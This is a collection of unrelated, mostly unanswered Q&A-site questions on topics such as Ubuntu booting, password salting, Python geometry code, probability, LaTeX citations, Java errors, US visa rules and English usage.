It all started when I changed my AMD graphic cards to GTX.   So I have a problem with Ubuntu, it happened before but I managed to install it through LEGACY version but not UEFI (With nomodeset only that way).   So now I need to install Ubuntu UEFI, because I want dual-boot Ubuntu/Windows.   Again, when I press in the menu "Install UBUNTU" my both monitors (both connected to GPU one is DP and other is VGA) just goes OFF SIGNAL and I can't do a thing just force OFF computer by pressing and holding power button.     My PC (if it helps):    GTX 970 I5-4430  8GB RAM h81m-k   ALSO, I've tried to turning off Secure Boot and Fast Boot.   Thanks for answers!   P.S. Main OS is Windows 10  AFTER FIX (SORRY FOR DUPLICATE)  So after I install ubuntu, when I press RESTART NOW after installation, my computer restarts, but when I select UBUNTU in a boot menu, it just goes to sleep, NO SIGNAL again, is it possible to set nomodeset before it goes to Sleep while booting into OS ? I hope you guys understood the question.    NOTE: I deleted Windows 10. So it's only ubuntu on my SSD.


How to get salt from a password and use it to validate user?

I have read tons of questions and tutorials about encrypting a password, and while I've learned a lot, nowhere did I find an answer to this.  I want to use crypt() for hashing a password that I will store on Database. I also know I need to use a salt so it works properly, and I've read that the best way to generate a random salt is by using  or something similar.  If I understood correctly the process is this:   User enters a password Random create a salt Hash password and salt Store result in database   But then how do I recover the salt when user tries to login?   User enters his password I somehow add his own unique randomly generated salt Hash both of them together Compare it to hashed salted password stored in Database.   In a few questions I've found, one of the answers was to store the randomly generated salt on the database. But I thought the whole purpose of salting was to be more secure, if an attacker got access to my DB he would see the 'salt' fields and even if my passwords are encrypted he would gain easy access to accounts.   Other answers said that the 'salt' is prepended to the password when using crypt() so there is no need to store it in a separate field. My question is, how do I get access to it? Is there some function that does this and I'm totally missing?


Wrong ubuntu installation does not recognizes windows

I had a dual boot installation ubuntu+windows that work just nice, but i messed up with ubuntu so much that i needed to reinstall it, and for some other reasons too, reinstallig was a good idea, so I did it. No I can not access windows because it does not shows up on grub. Already runned boot-repair but nothing. It seems that before reinstalling i should deleted the linux partition from windows and let the windows bootleader  be the only one. How can I fix this problem? I've found pre installation instrunctions.  Thanks in advance.  Ubuntu 14.04  -- Edit --  Some details  Step 1. Be happy with ubuntu installed along side with windows  Step 2. Be bored so that I wanted to play arround ending up on screwing the ubuntu installation  Step 3. Care little about the installed OS and be so lazy to fix it so re install the ubuntu OS  Step 4. Finish installation all stuff required and notice that grub does not load your previous installation of windows (I didn't delete it.. just in case)  Step 5. Search the problem and found a lot of places saying that before re installing ubuntu you have to let windows be the boot loader so that ubuntu installation will detect it... (too late)  Step 6. Ask ubuntu :) (Solved by the way)  sudo fdisk -l   The out put of the command above, it is solved, but i have two entries for windows 8, would need another question maybe thought  Disco /dev/sda: 500.1 GB, 500107862016 bytes 255 cabezas, 63 sectores/pista, 60801 cilindros, 976773168 sectores en total Unidades = sectores de 1 * 512 = 512 bytes Tamaño de sector (lógico / físico): 512 bytes / 4096 bytes Tamaño E/S (mínimo/óptimo): 4096 bytes / 4096 bytes Identificador del disco: 0x9d5a16ba  Dispositivo Inicio    Comienzo      Fin      Bloques  Id  Sistema /dev/sda1   *        2048      718847      358400    7  HPFS/NTFS/exFAT /dev/sda2          720894   209717247   104498177    5  Extendida La partición 2 no se inició en el limite físico del sector /dev/sda3       209717248   976771071   383526912    7  HPFS/NTFS/exFAT /dev/sda5          720896     4671487     1975296   82  Linux swap / Solaris /dev/sda6         4673536   209717247   102521856   83  Linux


Reasoning behind the limiting of comment flags

I have looked at a few similar questions, but none seemed to address the reasoning behind the limiting of the number of comment flags.  I can see how people endlessly raising comment flags would be annoying, but couldn't they just have their ability to do that banned through some sort of internal detection process?  It seems that flagging a potentially offensive/spammish comment is something that we would always want a user to be able to do.    Yes, if a user has a lot of good comment flags, this could also help with another badge or two, but it seems worth it to keep the site clean. I'm probably missing something.  Does anyone have some insight?


What is the origin of this facial expression with one's tongue sticking out?

I've seen this expression probably a dozen times in anime and manga. There are many variants, but they all have the character's tongue sticking up out of the side of their mouth. Their eyes are also typically big and sometimes in the shape of a backwards の character, or sometimes winking. Here are a few examples, though there are many more:  Bakemonogatari:    Clannad:    Tonari no Kashiwagi-san:    What is the origin of these expressions? Are they referring to a particular art style or character?


I have noticed my system is not using any swap.    system got unresponsive when RAM got full swapon --show returns nil  /etc/fstab has nothing about swap in it   I am utterly confused by the myriad of different ways to enable swap which I read about. Do I really need to define a swap file, rather than only point the system at a swap partition?   I have a partition of the right size formatted as linux-swap. What is the series of steps to be taken for (perpetually) enabling it in my OS?  Ubuntu 16.04


How to calculate the intersection of two lines?

I have the below end points of line segments.  Line segment 1:  A = (X1, Y1) B = (X2, Y2)   Line segment 2:  C = (X3, Y3) D = (X4, Y4)   I want to get the point of intersection of these two line segments.  I tried like this:  def intersectionfn(l1,l2):      x1,y1 = l1.src.x, l1.src.y     x2,y2 = l1.dst.x, l1.dst.y     x3,y3 = l2.src.x, l2.src.y     x4,y4 = l2.dst.x, l2.dst.y      try:         xnum = float(((x1*y2-y1*x2)*(x3-x4))-((x1-x2)*(x3*y4-y3*x4)))         xden = float(((x1-x2)*(y3-y4))-((y1-y2)*(x3-x4)))         #print xnum, xden         xcoor = float(xnum)/xden         #print xcoor         ynum = float((x1*y2-y1*x2)*(y3-y4) - (y1-y2)*(x3*y4-y3*x4))         yden = float((x1-x2)*(y3-y4)-(y1-y2)*(x3-x4))         #print ynum, yden         ycoor = float(ynum)/yden         #print ycoor         return Point(xcoor,ycoor)     except:         print "No intersection.. 0/0 attempted"   But I am getting the output for infinitely long lines. I'm not aware of how to find it for line segments. If there is any algorithm/mathematical rule for it, please suggest it to me. I will implement it.


Airline binomial distribution overbooking question

An airline has a plane with 400 seats. The probability that a passenger fails to turn up for their flight is 0.04. The airline has an overbooking policy. Find the largest number of passengers this airline can book and still be at least 85% sure that everyone who shows up has a seat.  Working: Need to find a value $x$ when $1 - \text{cumulative probability}$ is at least 0.85 or more, but as close to 0.85 as possible. If we call this $x$-value $Z$ we need: $[1 – P(X = 0) + P(X = 1) +…+ P(X = Z)]   $ So $n=400 p=0.04 q=0.96 x=0,1,2,...$ Can't seem to add a picture of the answers but I got it as $411$. Would anyone be able to verify that this method is correct ?


I'm trying to install plugins on a fresh install of QGIS 2.18.12. I can connect to the plugins repository but trying to install any plugin fails with the error message:  Failed to unzip plugin package. Probably it is broken or missing from the repository. You may also want to make sure that you have right permissions to the plugin directory  I've tried rebooting and and checked permissions on the repository folder. I've also tried setting an http proxy in the network settings.  None of the above have worked.


Cannot create numbered lists or bullet lists

I can't seem to make bullet point lists or numbered lists from selected content:    Selecting text and clicking the editor's icons for lists mashes text together. I looked for similar questions but couldn't find any.


VIrtualbox Windows 7 Guest OS not recognizing USB Devices

I'm running Windows 7 as a VM in Virtualbox.  I have created the group vboxusers and have set my main account as part of the group.  Whenever I enter the Win7 machine it can not detected my USB flash drive.  I go in Device Manager and try to find the driver online but it doesn't find it.  What am I doing wrong?


Wordpress 3.5 Media Manager - Change loaded image Size

The new media manager loads the FULL size images which is REALLY inefficient for a thumbnail. I'd like to replace it with a different size thumbnail that is also stored for each source image. Can't seem to find a way to do that either. Anyone have any tips?


I want to check if specific id element is exist or not. For ex. id="tbvAccountProc:frmFinancingDocumentProcess:btnSave" here i want to check btnSave exist or not.  if ($('#btnSave').length) {     }   and  if ($('#btnSave').length > 0) { }   and   if ($('#frmFinancingDocumentProcess').length) { }   and   if (document.getElementById('btnSave')) { }   tried these but btnSave exist in the view but these are not working as I expected.  if i check btnSave exist it must be return alert('true') else false.  Html:


Why does the Moon not revolve around the Sun directly?

The sun pulls on the moon with a force that is more than twice the magnitude of the force with which the earth attracts the moon. Why, then, doesn’t the sun take the moon away from the earth?


What can I do when there aren't tags for my question

Yesterday, I couldn't publish a question in Arqade about a game called Waves because there isn't a tag for that game.  What do I have to do when this happens? Is there a site where people can suggest tags?  Note: I'm writing from the SE Android App. I can't know if that exists.


In spite of the suggested solutions to fix the problem in arranging the references based on the citations, still couldn't fix it and I don't know why!  The solutions that I have tried are:   Remove all of the AUX and BBL files and re-run the file. Arranging the references based on the citations   I went through several links talk about similar issues, and follow the suggested solutions but unfortunately no solution has been reached so far.  The code that I have:  %% ---------------------------------------------------------------- %% Progress.tex %% ----------------------------------------------------------------  \documentclass{ecsthesis}    % Use the progress Style \usepackage[table, x11names]{xcolor} \usepackage{array, booktabs, boldline} % \usepackage{cellspace} \graphicspath{{../Figures/}}   % Location of your graphics files \hypersetup{colorlinks=true}   % Set to false for black/white printing \input{Definitions}            % Include your abbreviations \usepackage[sort]{cite} \usepackage{amsmath} \usepackage[framed,numbered,autolinebreaks,useliterate]{mcode} \usepackage{upquote} \usepackage{subfigure} \usepackage{multirow} \usepackage{xcolor,colortbl} \usepackage[most]{tcolorbox} \usepackage[section]{placeins} \usepackage{nomencl} % for abbrevations   \usepackage{grffile}   \usepackage[section]{placeins} \usepackage{float}  %% ---------------------------------------------------------------- \begin{document} \frontmatter \title      {Ssss} \authors    {\texorpdfstring      {\href{mailto:aak}{aaa}}      {aa a. a}     }  \date       {\today} \subject    {} \keywords   {}    \maketitle \begin{abstract}  aaa  \end{abstract}     \tableofcontents \listoffigures \listoftables \lstlistoflistings \listofsymbols{ll}{$HVDC$ & High Voltage Direct Current\\ $DC$ &  Direct Current\\ $AC$ &  Alternating Current\\ } \acknowledgements{aaa } %\dedicatory{To \dots} \mainmatter %% ---------------------------------------------------------------- \include{Introduction} \include{PolymericAgeingModels} \backmatter \bibliographystyle{IEEEtran} \bibliography{Thesis_references} \end{document}  %% ----------------------------------------------------------------   I use \cite{} for citation.     Update on Friday 25/09/2015 at 17:25: I found the solution by adding:  \usepackage[numbers]{natbib} \usepackage{notoccite}   Thanks!


use dd to back up transfer hard driver image

I followed a couple of tutorials, which implied I can copy Ubuntu image to a new hard driver by issuing the command dd /dev/sda /dev/sdb , which transmitted the data but not everything apparently since the new hard driver boots into BusyBox and I get a (initramfs) prompt. What is the best way for me to copy all the data from the old hard drive, which is by the way on its last leg into the new hard drive? I have gparted on the old image, and can also create a live usb, but I really like to learn how to transfer an entire hard drive image exactly as the original to the new hard drive. Is there way to do that? Can anyone tell me why the command above did not work? Could it be that the new hard drive is labled as /dev/sdb and the bootloader configuration is for /dev/sda?


If $a+b$ and $ab$ are algebraic then $a,b$ are algebraic

I need to show that if the sum and the product of two complex numbers is algebraic, then each of then is algebraic.   We have that the extensions $Q(a+b)/Q$ and $Q(ab)/Q$ are finite, so the extension $Q(a+b,ab)/Q$ is finite.   Since $$[Q(a,b):Q]=[Q(a,b):Q(a+b,ab)] [Q(a+b,ab):Q],$$ it suffices to show that the extension $Q(a,b)/Q(a+b,ab)$ is finite, but I can't come up with an appropriate basis. Any ideas?


Specify geoprocessing service connection at publish

I have a geoprocessing service published from a tool written in Python and contained inside a Python toolbox.   I need to be able to publish this service in multiple environments (production, staging, testing, development) i.e. using different database backends.   I do not want to recreate the service definition package every time I need to move to a different environment.   In particular, I do not have direct access to production and do not want the people deploying the app to need to fire up ArcMap or ArcCatalog and risk some parameter not being set correctly.   Instead, I want to hand them a package and say "Publish this using the connection you created".  How can I accomplish that?  Edit:  Thanks to another question, I've run across this piece of documentation :     If you are currently disconnected from the server or do not have   access to a server connection, you can configure your service   definition with no available connection to ArcGIS Server. Selecting   this option creates a service definition file that will have to be   configured to work with a server connection at the time of publishing.   So it seems to me that ESRI says this is possible, unless I've misinterpreted something.


I have a module located in a different directory.  I want to import it in another module.  When I try to import from the directory, I get a syntax error.  How do I import other local modules?  from "C:\User\Sam\module" import abc


What is equivalent of pairwise t-test for categorical variables?

I am doing some analysis where I have two monthly snapshot data (containing both numeric and categorical variable). Now I am trying to see which variable changed significantly from the first month in comparison to the next month. For numeric, I am planning on using the pairwise t-test to compare the change in variables. However, I am not sure what statistic test I should use for categorical variables to see which categorical variable changed the most? Any suggestions?


4 year old domain doesn't show up in google search results

when I google my own domain name, I don't even rank for it. Instead, my terms of service page gets indexed and shows up on the second page! My blog shows up here as well (it's hosted by another service) but my main home page and any of it's pages doesn't even appear on the search results.  I see the same thing on bing, and yahoo. Main page doesn't show up.  the domain name is not too generic but unique enough, it uses .la domain  Have I been banned from google? What the hell is going on?  The domain is 4 years old and I've done a redesign 4 months ago.


I want to find the name of a book I read many years ago. The story is set in Britain. The weather is controlled by magic. I read it in the 60's or early 70's


Introduction  There are many questions on SE with the long and fruitful discussions in comments. Such discussions often involve replying to other commenters using @username approach  Problem  Possibly, this is my subjective experience, but sometimes it is hard to follow which comment replies to which. Vice versa, it is sometimes hard to find the reply to the comment among a pile of others. For instance, the comments by Peter reply to the fist two commenters, but it takes some mental effort to understand this. To get clearer understanding of the discussion, reader needs to parse through the comments above and to restore the links.     Proposed solution - comment hierarchy  There is nothing innovative in this feature request, some popular websites use this technique (e.g. Quora, Reddit, ). The example from Reddit is shown on the screenshot below:    As we can see, this solution provides several advantages for users compared to the existing structure:   Indentation provides additional clarity for the reader Eliminate the misspelling of @username and, thus, making sure that the right person is notified when gets a reply  Similarly, if the commenter forgets to add @ the right person would still be notified No need to see whether the question in comments received a reply or not Parent and children comments are close to each other - so it is very easy to focus only on one aspect of discussion If the comment receives more that one reply, it is much easier to track all replies Ability to minimize the comment branches allow to focus on the single one, or just to save space on the page   Shortcomings  Certainly, there are possible drawbacks of the solutions:   User cannot answer to several people. AFAIK  with the current system we can't either (notification is sent only to one) Chronicity is partially lost, since it is not obvious when the comment was added. Can be mitigated by adding sorting options The text shrinks as the replies go deeper, due to indent. Lack of space for realization of modification   I think the proposed modification would improve the user experience primarily because it would bring more structure to the discussions in comments. However, due to the possible opposition of experienced users, this feature may be added as option.


Could all the energy in all the photons in the universe account for dark matter?

I was hit with fridge logic, and I am curious:  Is it possible that the gravitational influence of photons inside of galaxies (And all throughout the universe) could account for dark matter?  Photons would be most concentrated close to the core and inner galaxy... And have a lessening concentration as they expanded away from galaxies due to the inverse square law..  I am struggling to understand the math involved, because I've not yet reached that level in my education.... But I'm really curious how the total photons stack up vs the measured dark matter in the universe?


I have a table 'Route' with Id ,Name and Active columns. If Id = 0 I want to select all the Id's where Active = true.  If Id > 0 I want to select the data for particular Id where Active = true.  I tried with following Query. But not working. (here I passed 2 for a Id value.)  Can someone support me?  DECLARE @ID INT SET @ID = 2  SELECT  DISTINCT Id ,Name  FROM    Route  WHERE CASE WHEN @ID > 0  THEN Id = @ID AND Active= 1 ELSE Active=1 END   Sample Data Attached.


When a ball is thrown up in upward direction, it is said that force is in downward direction. Why we don't we consider the force given to the ball to throw up in the upward direction? Is there is no effect of the force given to the ball?


Why do I have this space (red arrow)? Why I do not have more space (orange arrow)?  I use cases and doublespacing.  Even I use \everydisplay\expandafter{\the\everydisplay\setstretch{1}}, because of doublespacing, as suggested in , the problem does not solve.  I have tried array, dcases, drcases, but it does not work.  Thank you!


How to clone/copy all file/directory attributes onto different file/directory?

I want to copy the attributes (ownership, group, ACL, extended attributes, etc.) of one directory to another but not the directory contents itself.  This does not work:  cp -v --attributes-only A B cp: omitting directory `A'              Note: It does not have to be cp.


Is any aspect of the supernatural testable? What level of proof is possible for the supernatural?

Assume the supernatural does exist, and consists of beings/forces that can interact with our natural universe in ways that are contrary to the natural laws of this universe (at least as we know them).  Take any generic or historical example of the supernatural, such as miracles, spiritual/supernatural revelations, sixth senses (in some contexts), angels/demons, various explanations of God/gods, vampires/werewolves, etc.  Whichever you like or is your favorite.  In general, you just need a being which exists in another dimension/plane of existance, and can at least one-way interact with ours in a way that "breaks" the laws of nature.  What evidence can exist or could be captured for these beings/forces/events truly being supernatural?  Is it possible that they could be scientifically tested or proven?  To what level or extent?  Any supernatural event which is observable (a faith healing, for example) could have witnesses, which provides some amount of legal/historical evidence, but is there any way to extend this into a more rigorous scientific test?  For example, if we were able to know that a supernatural event was going to occur at a given time, and capture whatever data we desire, can this ever rise to a higher level of proof than the courtroom style proof?    Note: This probably applies to many other similar questions, such as proof for one of the many multi-verse hypotheses, proof for free will/dualism, etc.  I think it may also work for proof of alien encounters...


Is there a command to go a specific workspace?

I'm trying to make a quicklist on the Workspace Switcher launcher that allows for quick switching to a certain workspace. (My friend sometimes uses my computer and just doesn't enjoy keyboard shortcuts, so I want to help him out.)  So is there a command one could type in a terminal that would force a certain workspace to be focused on?


I'm writing an assignment about the Enigma machine, and i'm trying to calculate the amount of settings the enigma machine has. I have found several sites regarding this topic, but it seems like there are to answers to my question. The first answer is 158,962,555,217,826,360,000 and the second is 107,458,687,327,250,619,360,000. Where the difference is that in the second answer, it has been taken into account that the notched rings on the enigma could be set as well, giving 26 * 26 = 676 more settings than the first answer.   But which answer is the right one, and why?


What is a single word for the capability of a theory, for example, to generate further thought and theorizing?

There are a few words which I blank on quite frequently. Perhaps my "advanced" age has something to do with it. I don't know. One such word for me is euphemism.    There is another word I am blanking on right now. In my answer to  I also blanked on the same word.   It is a word which describes the power of a quotation, or memorable words, or a theory to stimulate further thought and perhaps research. The word is similar in meaning to prolific, which can denote having the power to generate many further thoughts and ramifications of the original quotation, words, or theory.  If you would be so kind as to supply this word for me and perhaps give me a mnemonic device to make it accessible to me, I'd be very grateful.


Am wondering if somewhere there is a list of industry "minimums" for browser support. My company release two "portals" over the past 6 months and did very little to support IE8 users, who at this time, according to my G Analytics makes up about 14% of all IE visitors. Amazingly enough IE7 is 25%...  Figured support for IE7 was out the window already, but figured 14% was significant enough to warrant some support.  Any arguments to support my side of wanting to support IE8?  Any arguments to NOT support IE8?


Prove that $1\cdot 1! + 2\cdot 2! +\dots+n\cdot n! = (n + 1)! - 1$

(whenever $n$ is a non-negative integer)   I did the basic step $P(1)$ and found the statment $P(n+1)$  I now have $(n+1)! - 1 + (n+1)\cdot(n+1)!$  This should equal $(n+2)! - 1$, but how do I show that?


Can you use bread flour that is 2 months past the best use by date?

I've got some bread flour that has been in the refrigerator that has a best use date of Sept. 2015, and it's now Nov. 2015, is it okay to still bake with it?


Is it best to use five tags to get the maximum response? If not, how many?


Everytime my Ubuntu 13.04 system loads up, update-notifier opens with a list if software that can be updated. I do not want update-notifier to open. I have checked its settings and the cron and at tables for my account. Oddly, nothing is seen that would make update-notifier to come up. How can I make it stop checking for updates and not execute?


How do I prove $n! > n^3 , \forall n ≥6, n \in \mathbb{N}$?

$P(n) : n! > n^3 , \forall n ≥6, n \in \mathbb{N}$  I'm not able to get the induction step done. Can anyone help me out with this? I'm stuck on this for the past 30 minutes.  It'd be helpful if you could also let me know your thought process.


I am trying to render this scene above [Snap-shot 1]. But when i am trying to render the scene, its showing me the result [Snap-shot 2]. Whats wrong with my blender [2.72]


Let $A$ be a ring with $0 \neq 1 $, which has $2^n-1$ invertible elements and less non-invertible elements. Prove that $A$ is a field.


I recently wrote an article about addiction and referred to addiction as a bully and used quotes around "bully" as to not confuse the addiction with another actual human being who is acting unruly.  So when I make "bully" possessive I assume I need to do that inside the quotes as in "bully's" but I'm not exactly sure of the rules around this.  Is it more correct to write "bully's" or restructure the sentence so that I avoid the apostrophe altogether?        A "bully's" temperament ...   The temperament of a "bully" ...*      --- EDIT ---  The core of my question is that "bully" 's is ideologically correct but the grammatical representation is horrendous. Reason being because the "bully" represents the addiction and "bully's" appears to represent something possessed by an actually bully whereas I want the reader to realize I'm talking about something the addiction possesses, not a bully. How do I make that distinction?   The more I think about this, the more I realize the answer is that I need to avoid using possession on a word that represents an idea. I was hoping this question would lead to an objective answer but it's seemingly over complicated which all but forces it to be subjective. That's against the SE rules so I'll close this. -- nvm it's already closed


Prove that the product of coprimes must be congruent to $-1$ or $1 \pmod{m}$

I can't figure this problem out.  Let $b_1, b_2, \cdots, b_{\phi(m)}$ be the integers between $1$ and $m$ that are relatively prime to $m$. $B$ is the product of these integers. Prove that either $B$ is congruent to $1$ or $B$ is congruent to $-1 \pmod{m}$. Could you give me some hint where to start?  EDIT: Please avoid use of group theory. I am an undergrad in my first semester of number theory.


jsforce bulk undelete soft-deleted records

Is there any way to bulk undelete records in SF using jsforce? These would just be for soft-deleted records. There's bulk and single options for every other type of DB action you can take. I cloned the repo and searched for 'undelete' but couldn't find anything. Thanks!


I'm looking for one word which describes what a student who missed classes needs to do in order to complete his missing.   For example if he missed biology class he needs to seat with the teacher and study this missed class together with her and then he get the mark for this missed class. Someone -who isn't native English speaker- told me that it's called "rework". But I looked for it in some dictionaries (such as ) and I didn't find such definition.   : "SCHEDULE of reworks of missed classes"


What is the guy in the tower outside Yavin IV doing?

In both A New Hope and Rogue One, there is a guy in a tower with a radar gun looking thing.  He points the device at all incoming and outgoing ships.  What is his purpose and what is he doing?


Why doesn't my string comparison with == work?

I have this, in my onPostExecute :      String test = currentActivity.getClass().getSimpleName();     if(test == "SplashScreen"){         Log.e("OK",test);      } else {         Log.e("OK",test);      }   The problem is, the value of test is "SplashScreen" (that we can see with the log), but the code never goes in the if, only in the else.  Why does this happen?


If $\sum_na_n=\infty$ and $a_n\downarrow 0$ then $\sum\limits_n\min(a_{n},\frac{1}{n})=\infty$     My  idea:  $$b_{n}=\min(a_{n},\tfrac{1}{n})\Longrightarrow b_{n}\le a_{n},b_{n}\le\tfrac{1}{n}$$ then I don't know how to go on.


How to avoid hreflang return errors with URL that contain parameters

I'm getting HREF no return errors in search console and I don't understand why.    We have a page that contains buttons for get multiple pages of results.  URL structure:  Base page: `https://example.com/XX/publications` Pagination of results: `?count=50&page=4` Actual url: `https://example.com/au/publications?count=50&page=4`   Source page:  <link rel="canonical" href="https://example.com/au/publications"> <link rel="alternate" hreflang="en-US" href="https://example.com/us/publications">   alternate page:  <link rel="canonical" href="https://example.com/au/publications"> <link rel="alternate" hreflang="en-AU" href="https://example.com/au/publications">   How can I tell Google that it should ignore the URL query parameters?


Evaluation of the limit $\lim\limits_{n \to \infty } \frac1{\sqrt n}\left(1 + \frac1{\sqrt 2 }+\frac1{\sqrt 3 }+\cdots+\frac1{\sqrt n } \right)$

Evaluate the limit : $$\lim_{n \to \infty } {1 \over {\sqrt n }}\left( {1 + {1 \over {\sqrt 2 }} + {1 \over {\sqrt 3 }} + \cdots + {1 \over {\sqrt n }}} \right)$$  I can use the sandwich principle, certain convergence criteria, Cesaro mean theorem, limit arithmetic.. things around this area.  Any help would be greatly appreciated, thanks!  Sorry for not elaborating more at the beginning, rookie first-post mistake I suppose. :)


Exiting/entering the US - minor's US passport expired

I'm a US citizen as is my son. Due to COVID-19, I was unable to renew my son's passport. We have tickets and are supposed to travel to Spain within the next two weeks. He also has a current Spanish passport (holds dual citizenship). Will I have trouble boarding the plane or leaving/entering the US? I can provide a birth certificate, street address and school ID if needed. Will I need other documents, or can I get a letter from your agency to assist me with this endeavor?


MyImg.java  import java.awt.Graphics2D;  import java.awt.image.BufferedImage; import javax.imageio.ImageIO; import java.io.IOException; import java.io.File;  public class MyImg {      private BufferedImage img;     private int x,y;      public MyImg( String imageFileName, int x, int y)  {         this.x = x;         this.y = y;          try{             img = ImageIO.read(new File(imageFileName));          } catch  (IOException e) {           }     }      public void paint(Graphics2D g) {         g.drawImage(img, x, y, img.getWidth(), img.getHeight(), null);       }  }   Frametester.java  import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame;   /**    This program demonstrates how to install an action listener. */ public class FrameTester {       public static void main(String[] args)     {           JFrame frame = new JFrame();          DrawImageTester theImgTester = new DrawImageTester();          frame.add(theImgTester);           frame.setSize(FRAME_WIDTH, FRAME_HEIGHT);         frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);         frame.setVisible(true);     }      private static final int FRAME_WIDTH = 500;     private static final int FRAME_HEIGHT = 600; }   DrawImageTester.java  import java.awt.Graphics2D;  import java.awt.Graphics;  import javax.swing.JComponent;  public class DrawImageTester extends JComponent{     private MyImg img1, img2;      public DrawImageTester() {         img1 = new MyImg(Definition.IMG_BG_BLACK, 100, 100 );         img2 = new MyImg(Definition.IMG_BG_WHITE, 200, 100);     }      public void paint(Graphics h) {         Graphics2D g = (Graphics2D)h;          img1.paint(g);           img2.paint(g);      } }   Definition.java  public class Definition{     final public static String IMG_BG_BLACK = "image/black.PNG";     final public static String IMG_BG_WHITE = "image/white.PNG";      final public static String IMG_KNIGHT_BLACK = "image/bKn.png"; }      When I run FrameTester.java, I get the error:  Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException     at MyImg.paint(MyImg.java:27)     at DrawImageTester.paint(DrawImageTester.java:17)   The problem lies within this line:  public void paint(Graphics2D g) {     g.drawImage(img, x, y, img.getWidth(), img.getHeight(), null);   }   I think this is caused by an object not being initialized. I am pretty sure img is initialized. img is declared in MyImg.java, the MyImg object is created in the DrawImageTester.java class. The DrawImageTester object is created inside main. Both x, and y, have values, and getWidth, and getHeight are methods of the BufferedImage class. Can anyone lend me some help?


I have a B2 visa for the US, but I was admitted under the Visa Waiver Program. Now my ESTA will expire before I leave the US. What should I do?

My dilemma is that I was admitted to the US under my B2 visa on October 27 2017, my passport was stamped with a end of stay of April 26, 2018. (see first picture).  I then went to Iceland for 10 days and when I re-entered my passport was stamped again, but this time it was stamped with 'WT' not 'B2'. The departure date on this stamp was April 6, 2018 (he only gave me 90 days as he admitted me under the VWP and not my B2 visa). (see second picture)  My issue now is that my ESTA will expire at the start of March but I plan to stay in the US until mid April. Am I allowed to stay? Do I need to extend my ESTA or is my B2 visa enough? Can I depart on April 26th like my first stamp says, or do I have to depart before April 6th?  I hope this makes sense. Please help. Thank you.


List alphabetically in Windows Explorer, with folders mixed with files?

Previously when opening Windows explorer, it would come up as below:  Key Folders : UPPERCASE documents : LOWERCASE   Example A:   APPLES apple 1 apple 2 BANANAS banana 1 banana 2 CARROT carrot 1 carrot 2   Etc, etc, all types of files (whether they be folders or documents) showed alphabetically.  Now, they show like below:  Example B.   APPLES BANANAS CARROTS apple 1 apple 2 banana 1 banana 2 carrot 1 carrot 2   Sorting the folders alphabetically then the documents alphabetically.  How do I get it back to example A?


Please could someone give me some advice.  My son has been playing on Minecraft in creative mode.  He has spent hours building a world and today built a portal to the Nether.  He is completely lost and cant find his portal. He seems to be underground.    My question is how can he get back to his much loved world?  Thanks for your help.


Creating preview thumbs for a Windows directory with images

I have a directory with ~100k small images inside it (training images for machine learning). I'd like to be able to quickly scan the directory for errors, but preview thumbs are only created when the i view the area of the folder the filename appears which means I have to scroll down the entire directory to create the thumbs, so then I can quickly scan them.  Is there a way to force windows to create thumbs for an entire directory?


Is it possible to list resulted papers by number of its citation in Google Scholar?

I use Google Scholar to search papers a lot. When I type in the key words, Google Scholar finds papers which contain those key words. I’m wondering, can Google Scholar sort these papers by their number of citation? If this is possible, then, the most top one could be the one which contains those key words and also has most number of citations. Is there such functionality for users to configure their searches?


Scifi short story where everyone's lives are recorded, and based on this everyone is ranked at every different skill there could conceivably be

I read this story in the last 10 years. It is a scifi short story, probably published in Giganotosaurus or some other sci fi short story collective. Definitely published online.   The story is kind of like "The Entire History of You" from Black Mirror, where people's whole lives are recorded by small devices. Except the conceit in this story is that everyone's "talent" at different things (think... everything from juggling to cooking) is ranked, and social value and popularity is derived from this.  So this leads to a bunch of people trying to find the obscure thing that they can climb the rankings in (I seem to remember the protagonist was at one point in the top 500 Male jugglers under 30 or something like that). Then one day, he has sex, and is suddenly the number 1 Male Lover in the world. I think this happens, at least.  Later on, he finds a community who has given up the devices, and finds joy in doing things even though they aren't the best at them. I remember the girl being impressed by his juggling (?) "even though he isn't even in the Top 100", and the love interest's lack of world-weariness enlivens the protagonist.  Thank you to anyone who ended up reading this!


I have a question about scientific English. I wonder when to use the article "the" when you refer to a physical quantity or to a formula. I promise that I have looked into so many manuals, but I am still terribly puzzled.  As I compared many textbooks and scientific articles, let's start from the cases I am sure about.  One always reads:  "the function f(x) is defined as ..." "the functions f(x) and g(x) are defined as ..."  but, on the other hand, one (almost) always reads:  "Point A is defined as ..."  "Points A and B are defined as ..."  Now, both "point" and "function" are countable nouns and, moreover, by saying "f(x)" and "A" you refer to a specific function or point. So, why do I use "the" in one case and zero article in another?  Another puzzling case is uncountable nouns such as "conductance" or "energy". You, basically, can find whatever situation. I take the next examples from the same article written by native English-speakers (and supposedly corrected by a language polishing service):  "the values of conductance are..." "the dependence of the conductance at the neutrality point is..." "The conductance G(E) is determined in a standard way..." (notice the attribute G(E))  Can you help me to rationalize all this?  Finally, when you refer to a Figure/Table/Section/Equation/Chapter you always use zero article:  "As seen in equation 5 ..." "..., which was shown in Section 3 ..." etc.  Am I right?


A secondary, possibly incorrect usage of “offline”?

When someone means to say that they got something from online, is it proper usage to say “I got that offline”? For instance, someone pulled an article from a website once and told me that they got it offline; that is, so to say, off of online. I feel that saying something was gotten “offline” is an incorrect usage. Is there any validity to using “offline” as a way to say “off of the internet?”  (Also, I could not find any definition matching such a usage in the dictionary.)


Getting context of Android inside additional classes

Created java class DBOperations i android project to realize database operations but found that some operations need Context object. Couldn't get it with this or getapplicationcontext method. I decided to pass context object as a paramether,e.g.   Mymdhod(this);   Is it correct way or there are other methods to get application context?


Why is refraction of light at a boundary wavelength dependent, and are the two proportional?

Just wondering, why is it that blue light will refract less than red light, i.e. why does the fact that blue light has a shorter wavelength mean that it will refract less at a boundary? I read somewhere that the wavelength decreases of light as it enters an optically denser material, which seems logical given that frequency remains constant and c = f λ. Is there some sort of constant which would mean that if the wavelength of a type of light in material one is x% shorter than that of, say, red light, the wavelength after refraction would be kx% shorter? I know this is a terribly worded question, this is all new to me and it's a bit difficult for me to put down my thought process. Thanks in advance!


probability of a digit repeating anywhere within a string

